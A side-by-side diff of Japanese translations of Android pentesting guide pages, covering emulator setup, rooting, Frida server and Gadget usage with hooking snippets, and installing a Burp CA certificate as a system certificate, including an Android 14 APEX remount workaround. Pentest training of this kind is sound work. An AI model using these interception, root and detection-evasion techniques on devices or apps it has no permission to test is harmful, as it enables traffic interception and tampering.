C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
@ -158,35 +160,35 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
``` ```
### Command line options ### コマンドラインオプション
しかし、仮想マシンを起動するために使える**多数の便利なコマンドラインオプション**が存在します。以下にいくつかの興味深いオプションを示しますが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) ただし、仮想マシンを起動する際に使える **多くの有用なコマンドラインオプション** が存在します。以下はいくつかの興味深いオプションですが、[**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**起動** **起動**
- `-snapshot name` : Start VM snapshot - `-snapshot name` : VM スナップショットを開始する
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されているすべてのスナップショットを一覧表示しま - `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : 記録されすべてのスナップショットを一覧表示す
**ネットワーク** **ネットワーク**
- `-dns-server 192.0.2.0, 192.0.2.255` : VMにカンマ区切りでDNSサーバを指定できます。 - `-dns-server 192.0.2.0, 192.0.2.255` : VM にカンマ区切りで DNS サーバを指定する
- **`-http-proxy 192.168.1.12:8080`** : 使用するHTTPプロキシを指定できますBurpでトラフィックをキャプチャするのに非常に便利) - **`-http-proxy 192.168.1.12:8080`** : 使用する HTTP プロキシを指定するBurp を使ってトラフィックをキャプチャする際に非常に便利)
- プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリを使って設定してみてください。 - プロキシ設定が何らかの理由で動作しない場合は、内部で設定するか "Super Proxy" や "ProxyDroid" のようなアプリケーションを使って構成してみてください。
- `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定します。 - `-netdelay 200` : ネットワーク遅延のエミュレーションをミリ秒単位で設定する
- `-port 5556` : コンソールと adb に使用される TCP ポート番号を設定します。 - `-port 5556` : console と adb に使用される TCP ポート番号を設定する
- `-ports 5556,5559` : コンソールと adb に使用される TCP ポートを設定します。 - `-ports 5556,5559` : console と adb に使用される TCP ポートを設定する
- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャしま - **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャす
**システム** **システム**
- `-selinux {disabled|permissive}` : Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定します。 - `-selinux {disabled|permissive}` : Linux オペレーティングシステム上で Security-Enhanced Linux セキュリティモジュールを disabled または permissive モードに設定する
- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定しま - `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定す
- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンモードを設定します。 - `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンのモードを設定する
- **`-writable-system`** : このオプションを使用すると、エミュレーションセッション中にシステムイメージを読み書き可能にできます。`adb root; adb remount` の実行も必要です。システムに新しい証明書をインストールするのに非常に便利です。 - **`-writable-system`** : エミュレーションセッション中にシステムイメージを writable にするオプションです。`adb root; adb remount` の実行も必要になります。システムに新しい証明書をインストールするのに非常に便利です。
## Linux CLI セットアップ (SDK/AVD quickstart) ## Linux CLI セットアップ (SDK/AVD quickstart)
公式のCLIツールを使うと、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。 公式の CLI ツールを使えば、Android Studio を使わずに高速でデバッグ可能なエミュレータを簡単に作成できます。
```bash ```bash
# Directory layout # Directory layout
mkdir -p ~/Android/cmdline-tools/latest mkdir -p ~/Android/cmdline-tools/latest
@ -215,11 +217,11 @@ adb root
adb shell whoami # expect: root adb shell whoami # expect: root
``` ```
メモ メモ
- システムイメージのフレーバー: google_apis (debuggable、adb rootを許可), google_apis_playstore (not rootable), aosp/default (lightweight). - システムイメージのフレーバー: google_apis (デバッグ可能、adb root を許可), google_apis_playstore (root化不可), aosp/default (軽量).
- ビルドタイプ: userdebug はデバッグ対応イメージで `adb root` を許可することが多い。Play Store images はプロダクションビルドで root をブロックする。 - ビルドタイプ: userdebug はデバッグ対応イメージで `adb root` を許可することが多い。Play Store イメージはプロダクションビルドで root をブロックする。
- x86_64 ホストでは、API 28+ 以降で full-system ARM64 エミュレーションはサポートされない。Android 11+ では、per-app ARM-to-x86 translation を含む Google APIs/Play images を使用すると、多くの ARM-only アプリを高速に実行できる。 - x86_64 ホストでは、API 28+ 以降でフルシステムの ARM64 エミュレーションはサポートされない。Android 11+ では、多くの ARM 専用アプリを高速に実行するために、アプリ単位の ARM→x86 翻訳を含む Google APIs/Play images を使用する。
### CLIからのスナップショット ### CLI からのスナップショット
```bash ```bash
# Save a clean snapshot from the running emulator # Save a clean snapshot from the running emulator
adb -s emulator-5554 emu avd snapshot save my_clean_setup adb -s emulator-5554 emu avd snapshot save my_clean_setup
@ -227,25 +229,24 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists) # Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
``` ```
## ARM→x86 バイナリ変換 (Android 11+) ## ARM→x86 バイナリ翻訳 (Android 11+)
Android 11+ 上の Google APIs および Play Store images は、システムの他の部分をネイティブの x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを変換できます。これはデスクトップで多くの ARM 専用アプリをテストするのに十分高速であることが多いです。 Android 11+ の Google APIs と Play Store イメージは、システムの残りをネイティブな x86/x86_64 のままに保ちながら、プロセスごとに ARM アプリのバイナリを翻訳できます。これは、多くの ARM 専用アプリをデスクトップでテストするのに十分高速であることがよくあります。
> ヒント: pentests 中は Google APIs x86/x86_64 images を優先してください。Play images は便利ですが `adb root` をブロックします。Play services が特に必要で、root が無いことを受け入れる場合にのみ使用してください。 > ヒント: Pentests 中は Google APIs x86/x86_64 イメージを優先してください。Play イメージは便利ですが `adb root` をブロックします; Play services がどうしても必要で root がないことを受け入れる場合のみ使用してください。
## Rooting a Play Store device ## Play Store デバイスを root する
Play Store を含むデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます Play Store を搭載したデバイスをダウンロードした場合、直接 root を取得することはできず、次のエラーメッセージが表示されます
``` ```
$ adb root $ adb root
adbd cannot run as root in production builds adbd cannot run as root in production builds
``` ```
[rootAVD](https://github.com/newbit1/rootAVD) と [Magisk](https://github.com/topjohnwu/Magisk) を使用して root 化できました(例えば [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) を参照してください)。 Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) を使用して root化できました (follow for example [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Burp Certificate のインストール ## Burp 証明書のインストール
カスタム CA 証明書のインストール方法は、次のページを確認してください:
カスタム CA 証明書のインストール方法については、以下のページを確認してください:
{{#ref}} {{#ref}}
install-burp-certificate.md install-burp-certificate.md
@ -255,11 +256,11 @@ install-burp-certificate.md
### スナップショットを取得 ### スナップショットを取得
いつでも **GUI を使用して** VM のスナップショットを取得できます: VM のスナップショットはいつでも **GUI を使って** 取得できます:
![](<../../images/image (234).png>) ![](<../../images/image (234).png>)
## 参考 ## 参考資料
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline) - [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)

View File

@ -5,27 +5,27 @@
## インストール ## インストール
以下をインストールしてください: **frida tools** インストール **frida tools**:
```bash ```bash
pip install frida-tools pip install frida-tools
pip install frida pip install frida
``` ```
**ダウンロードしてインストール** を android 上で **frida server** を導入してください ([Download the latest release](https://github.com/frida/frida/releases)).\ **ダウンロードしてインストール** Android デバイスに **frida server** をインストールします ([Download the latest release](https://github.com/frida/frida/releases)).\
adb を root モードで再起動し、接続し、frida-server をアップロードして exec 権限を付与し、バックグラウンドで実行するワンライナー: adb を root 権限で再起動し、接続して frida-server をアップロードし、実行権限を付与してバックグラウンドで実行するワンライナー:
```bash ```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
``` ```
**チェック** それが **動作している**: **チェック** それが **動作している**か:
```bash ```bash
frida-ps -U #List packages and processes frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
``` ```
## Frida server vs. Gadget (root vs. no-root) ## Frida server vs. Gadget (root vs. no-root)
FridaでAndroidアプリを扱う一般的な方法は2つあります: Fridaを使ってAndroidアプリをインストルメント操作する一般的な2つの方法:
- Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブのデーモンをプッシュして実行します - Frida server (rooted devices): 任意のプロセスにアタッチできるよう、ネイティブなデーモンを転送して実行する
- Frida Gadget (no root): APK内にFridaをshared libraryとしてバンドルし、ターゲットプロセス内で自動ロードさせます - Frida Gadget (no root): Fridaを共有ライブラリとしてAPK内に同梱し、対象プロセス内で自動的にロードする
Frida server (rooted) Frida server (rooted)
```bash ```bash
@ -42,9 +42,9 @@ frida -U -n com.example.app
``` ```
Frida Gadget (no-root) Frida Gadget (no-root)
1) APK をアンパックし、gadget の .so と設定を追加します: 1) APKを展開し、gadget .so と設定を追加:
- lib/<abi>/ (例: lib/arm64-v8a/) に libfrida-gadget.so を配置します - libfrida-gadget.so を lib/<abi>/ に配置する (例: lib/arm64-v8a/)
- assets/frida-gadget.config を作成し、スクリプト読み込み設定を記述しま - assets/frida-gadget.config を作成し、スクリプト読み込み設定を記述す
frida-gadget.config の例 frida-gadget.config の例
```json ```json
@ -53,8 +53,8 @@ frida-gadget.config の例
"runtime": { "logFile": "/sdcard/frida-gadget.log" } "runtime": { "logFile": "/sdcard/frida-gadget.log" }
} }
``` ```
2) ガジェットを参照/ロードして早期に初期化されるようにする: 2) ガジェットを参照/ロードして早期に初期化する:
- 最も簡単: 小さな Java スタブを Application.onCreate() に追加して System.loadLibrary("frida-gadget") を呼び出す、または既に存在するネイティブライブラリのロードを利用する。 - 簡単な方法: Application.onCreate() 内で System.loadLibrary("frida-gadget") を呼ぶ小さな Java スタブを追加するか、既にあるネイティブライブラリのロード処理を利用する。
3) APK をリパックして署名し、インストールする: 3) APK をリパックして署名し、インストールする:
```bash ```bash
@ -69,9 +69,9 @@ adb install -r out_signed/app_gadget-aligned-debugSigned.apk
frida-ps -Uai frida-ps -Uai
frida -U -n com.example.app frida -U -n com.example.app
``` ```
意事項
- Gadget は一部の保護機構により検出されることがあるため、名前/パスはステルス化し、必要に応じて遅延/条件付きでロードしてください。 - Gadget は一部の保護機構で検出されます。names/paths をステルス化し、必要に応じて遅延または条件付きでロードしてください。
- ハード化されたアプリでは、server + late attach を使ったrooted testingを優先するか、Magisk/Zygiskの隠蔽と組み合わせてください。 - ハード化されたアプリでは、server + late attach を用いた rooted testing を優先するか、Magisk/Zygisk hiding と組み合わせてください。
## チュートリアル ## チュートリアル
@ -81,25 +81,25 @@ frida -U -n com.example.app
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) **ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**詳しくは [link to read it](frida-tutorial-1.md) を参照してください。** **続きを読むには [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md) ### [Tutorial 2](frida-tutorial-2.md)
**出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ **出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**詳しくは [ link to read it.](frida-tutorial-2.md) を参照してください。** **続きを読むには[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md) ### [Tutorial 3](owaspuncrackable-1.md)
**出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**詳しくは [link to read it](owaspuncrackable-1.md) を参照してください。** **続きを読むには [link to read it](owaspuncrackable-1.md).**
**さらに多くのAwesome Fridaスクリプトはここで見つかります:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) **さらに多くの Awesome Frida スクリプトはここで見つけられます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## クイック ## 簡単な
### コマンドラインからFridaを呼び出す ### コマンドラインからFridaを呼び出す
```bash ```bash
@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
script.load() script.load()
sys.stdin.read() sys.stdin.read()
``` ```
### パラメータなしの関数をフックする ### 引数のない関数のフック
クラス `sg.vantagepoint.a.c` の関数 `a()` をフックする クラス `sg.vantagepoint.a.c` の関数 `a()` をフックする
```javascript ```javascript
@ -137,14 +137,14 @@ return false;
}; };
}); });
``` ```
java の `exit()` Hook java の `exit()`フックする
```javascript ```javascript
var sysexit = Java.use("java.lang.System") var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) { sysexit.exit.overload("int").implementation = function (var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)") send("java.lang.System.exit(I)V // We avoid exiting the application :)")
} }
``` ```
Hook MainActivity `.onStart()` & `.onCreate()` MainActivity の `.onStart()``.onCreate()` を Hook する
```javascript ```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity") var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity")
mainactivity.onStart.overload().implementation = function () { mainactivity.onStart.overload().implementation = function () {
@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
} }
``` ```
Hook android `.onCreate()` android の .onCreate() を Hookする
```javascript ```javascript
var activity = Java.use("android.app.Activity") var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function ( activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
} }
``` ```
### Hooking パラメータ付き関数のフックと値の取得 ### Hooking: パラメータ付き関数のフックと値の取得
decryption functionをフックします。入力を表示し、元の関数を呼び出して入力をdecryptし、最後にplain dataを表示します: decryption function を Hooking します。入力を表示し、オリジナルの関数を呼び出して入力を decrypt し、最後に平文データを表示します:
```javascript ```javascript
function getString(data) { function getString(data) {
var ret = "" var ret = ""
@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B return ret //[B
} }
``` ```
### 関数をHookして自分の入力で呼び出す ### Hooking functions and calling them with our input
文字列を受け取る関数をHookし、別の文字列で呼び出す (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) string を受け取る function を Hook し、別の string で呼び出す(詳細は [here](https://11x256.github.io/Frida-hooking-android-part-2/)
```javascript ```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret return ret
} }
``` ```
### 既に作成されたクラスのオブジェクトを取得する方法 ### 既に作成されたクラスのオブジェクトを取得する
作成済みオブジェクトの属性を抽出したい場合は、これを使用できます。 作成済みのオブジェクトから属性を取り出したい場合は、これを使用できます。
この例では、クラス my_activity のオブジェクトを取得、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します: この例では、クラス my_activity のオブジェクトを取得する方法と、オブジェクトのプライベート属性を出力する .secret() 関数を呼び出す方法を示します:
```javascript ```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", { Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) { onMatch: function (instance) {
@ -225,16 +225,16 @@ console.log("Result of secret func: " + instance.secret())
onComplete: function () {}, onComplete: function () {},
}) })
``` ```
## その他の Frida チュートリアル ## その他のFridaチュートリアル
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Advanced Frida Usage ブログシリーズのパート1: IOS 暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) - [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## 参考 ## 参考資料
- [再現可能な Android Bug Bounty ラボを構築する: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget ドキュメント](https://frida.re/docs/gadget/) - [Frida Gadget documentation](https://frida.re/docs/gadget/)
- [Frida releases(サーバーバイナリ)](https://github.com/frida/frida/releases) - [Frida releases (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Burp Certificate のインストール # Burp 証明書のインストール
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## ADB経由のシステム全体プロキシ ## ADB 経由のシステム全体プロキシ
全てのアプリがインターセプタBurp/mitmproxyを経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します: すべてのアプリがあなたのインターセプターBurp/mitmproxyを経由してトラフィックをルーティングするように、グローバルな HTTP プロキシを設定します:
```bash ```bash
# Set proxy (device/emulator must reach your host IP) # Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080 adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy # Clear proxy
adb shell settings put global http_proxy :0 adb shell settings put global http_proxy :0
``` ```
ヒント: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners). Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners).
## 仮想マシン上で ## On a Virtual Machine
まず最初に、Burp から Der 証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。 まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。
![](<../../images/image (367).png>) ![](<../../images/image (367).png>)
**証明書を Der フォーマットでエクスポートする** そしてそれを **変換**して、**Android** が**理解**できる形式にします。なお、**AVD の Android マシンに Burp 証明書を設定するためには** このマシンを **`-writable-system`** オプションを付けて**実行**する必要があります。\ **Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\
例えば次のように実行できます: 例えば次のように実行できます:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
``` ```
次に、**burps certificate を設定するには**: 次に、**burps certificate を設定するには**
```bash ```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine adb reboot #Now, reboot the machine
``` ```
マシンが再起動を完了すると、Burp 証明書が使用されます! **マシンが再起動を完了すると** burp 証明書が使用されるようになります!
## Magisc の使用 ## Magisc の使用
もし Magisc でデバイスをルート化している(エミュレータの可能性もあります)、そしてファイルシステムが読み取り専用で remount して書き込み可能にできないために前の手順で Burp 証明書をインストールできない場合、別の方法があります。 もし **Magiscでデバイスをroot化した**(おそらくエミュレータ)、そして前の **手順** に**従えず**、Burp 証明書をインストールできない(**ファイルシステムが読み取り専用**で書き込み可能にリマウントできない)場合、別の方法があります。
[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) で説明されているように、次の操作を行います: 説明は [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) にあります。必要な手順は次のとおりです:
1. **CA 証明書をインストールする**: DER 形式の Burp 証明書の拡張子を `.crt` に変更してモバイルにドラッグドロップし、Downloads フォルダに保存します。次に `Install a certificate` -> `CA certificate` へ移動します。 1. **Install a CA certificate**: モバイルに DER 形式の Burp 証明書を **changing the extension** して拡張子を `.crt` にし、Downloads フォルダに **drag&drop** で保存してから `Install a certificate` -> `CA certificate` に進みます。
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure> <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- `Trusted credentials` -> `USER` に移動して証明書が正しく保存されていることを確認します - 証明書が正しく保存されているかは `Trusted credentials` -> `USER` で確認してください
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure> <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **システムで信頼されるようにする**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zip ファイル)をダウンロードし、電話にドラッグ&ドロップします。電話の **Magics app** を開き、**`Modules`** セクションに移動して **`Install from storage`** をクリックし、.zip モジュールを選択してインストール後に電話を **reboot** します 2. **Make it System trusted**: Magisc モジュール [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts).zip ファイル)をダウンロードし、電話に **drag&drop it** します。電話上の **Magics app** を開き **`Modules`** セクションに移動、**`Install from storage`** をクリックして `.zip` モジュールを選択し、インストールが完了したら端末を **reboot** してください
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure> <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 再起動後、`Trusted credentials` -> `SYSTEM`移動して Postswigger 証明書が存在することを確認します - 再起動後、`Trusted credentials` -> `SYSTEM`行き、Postswigger 証明書が存在することを確認します
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure> <figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Magisc モジュールの作り方を学ぶ ### Magisc モジュールの作成方法を学ぶ
Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) 次を参照してください: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
## Android 14 以降 ## Android 14以降
最新の Android 14 リリースでは、system-trusted Certificate Authority (CA) 証明書の扱いに大きな変更がありました。以前はこれらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限のあるユーザーがアクセス・変更できたため、システム全体に即時反映されていました。しかし Android 14 では、保存場所が **`/apex/com.android.conscrypt/cacerts`****`/apex`** パス内のディレクトリに移動されており、これは本質的に不変immutableです。 最新の Android 14 リリースでは、system-trusted Certificate Authority (CA) 証明書の扱いに大きな変化が見られます。従来、これらの証明書は **`/system/etc/security/cacerts/`** に保存され、root 権限を持つユーザーがアクセス・変更できたため、システム全体に即時反映されていました。しかし Android 14 では格納場所が **`/apex/com.android.conscrypt/cacerts`**`/apex` パス内のディレクトリ)に移動しており、`/apex` は本質的に不変です。
APEX の cacerts パスを書き込み可能に remount しようとすると失敗します。システムがそのような操作を許可しないためです。ディレクトリをアンマウントしたり tmpfs でオーバーレイしたりしても不変性を回避できず、ファイルシステムレベルで変更を加えてもアプリケーションは元の証明書データにアクセスし続けます。この耐性は、**`/apex`** マウントが PRIVATE propagation に設定されているためで、**`/apex`** 内での変更が他のプロセスに影響を与えないようになっています。 **APEX cacerts path** を書き込み可能にリマウントしようとしても失敗します。システムはそのような操作を許可しません。ディレクトリをアンマウントしたり、一時的なファイルシステム (tmpfs) でオーバーレイしようとしても不変性を回避できず、アプリケーションはファイルシステムレベルの変更に関わらず元の証明書データにアクセスし続けます。これは **`/apex`** のマウントが PRIVATE プロパゲーションで設定されているためで、`/apex`の変更が他のプロセスに影響を与えないようになっています。
Android の初期化では `init` プロセスが起動し、OS の起動時に Zygote プロセスも立ち上げます。Zygote は、新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースには private な **`/apex`** マウントが含まれます。これにより、このディレクトリへの変更は他のプロセスから分離されます。 Android の初期化では `init` プロセスが OS 起動時に Zygote プロセスを起動します。Zygote は新しいマウントネームスペースを持つアプリケーションプロセスを起動する役割を担っており、そのネームスペースにはプライベートな **`/apex`** マウントが含まれるため、このディレクトリへの変更は他のプロセスから隔離されます。
それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を修正する必要がある場合の回避策が存在します。これは、**`/apex`** の PRIVATE propagation を解除して書き込み可能にするために手動で remount する方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、**`/apex/com.android.conscrypt`** をアンマウントして読み取り専用の制約を取り除き、内容を **`/apex`** の元の場所に戻す、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に反映させるためには、`system_server` を再起動する(これにより全アプリケーションが実質的に再起動され、システムが整合した状態になる)ことを推奨します。 それでも、**`/apex`** ディレクトリ内の system-trusted CA 証明書を変更する必要がある場合の回避策は存在します。これは **`/apex`** の PRIVATE プロパゲーションを解除して書き込み可能にするために手動で再マウントする方法です。手順は、**`/apex/com.android.conscrypt`** の内容を別の場所にコピーし、読み取り専用の制約を取り除くために **`/apex/com.android.conscrypt`** をアンマウントし、その後内容を元の **`/apex`** 内に復元する、というものです。この操作はシステムクラッシュを避けるために素早く行う必要があります。変更をシステム全体に確実に反映させるには、すべてのアプリケーションを再起動してシステムを整合状態に戻す `system_server` の再起動が推奨されます。
```bash ```bash
# Create a separate temp directory, to hold the current certificates # Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore. # Otherwise, when we add the mount we can't read the current certs anymore.
@ -133,24 +133,24 @@ echo "System certificate injected"
``` ```
### Bind-mounting through NSEnter ### Bind-mounting through NSEnter
1. **Setting Up a Writable Directory**: 最初に、既存の non-APEX システム証明書ディレクトリの上に `tmpfs` をマウントして、書き込み可能なディレクトリを作成します。これは以下のコマンドで実行します: 1. **書き込み可能なディレクトリの設定**: 最初に、既存の非-APEXシステム証明書ディレクトリの上に`tmpfs`をマウントして書き込み可能なディレクトリを作成します。これは次のコマンドで実行されます:
```bash ```bash
